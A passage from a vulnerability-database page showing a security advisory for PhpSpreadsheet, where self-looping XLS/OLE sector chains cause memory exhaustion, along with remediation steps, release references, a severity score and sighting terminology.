`$this-\u003ebigBlockChain`, or `$this-\u003esmallBlockChain`;\n  - rejection of negative sector IDs other than the documented end-of-chain marker.\n- Replace fatal memory exhaustion with a recoverable `Reader\\Exception` for malformed OLE chains.\n- Apply the same guarded chain-walk helper to:\n  - small-block depot chain construction;\n  - small-block stream extraction;\n  - big-block stream extraction;\n  - `readData()`.\n- Add regression tests with self-looping and out-of-range SAT/SSAT chains.",
  "id": "GHSA-xh5m-36r6-47m3",
  "modified": "2026-07-23T15:01:50Z",
  "published": "2026-07-23T15:01:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-59933 (GCVE-0-2026-59933)

GHSA-XH5M-36R6-47M3

Summary

Vulnerability details

Impact

Safe local proof of concept

Suggested remediation

Tags

Sightings

Nomenclature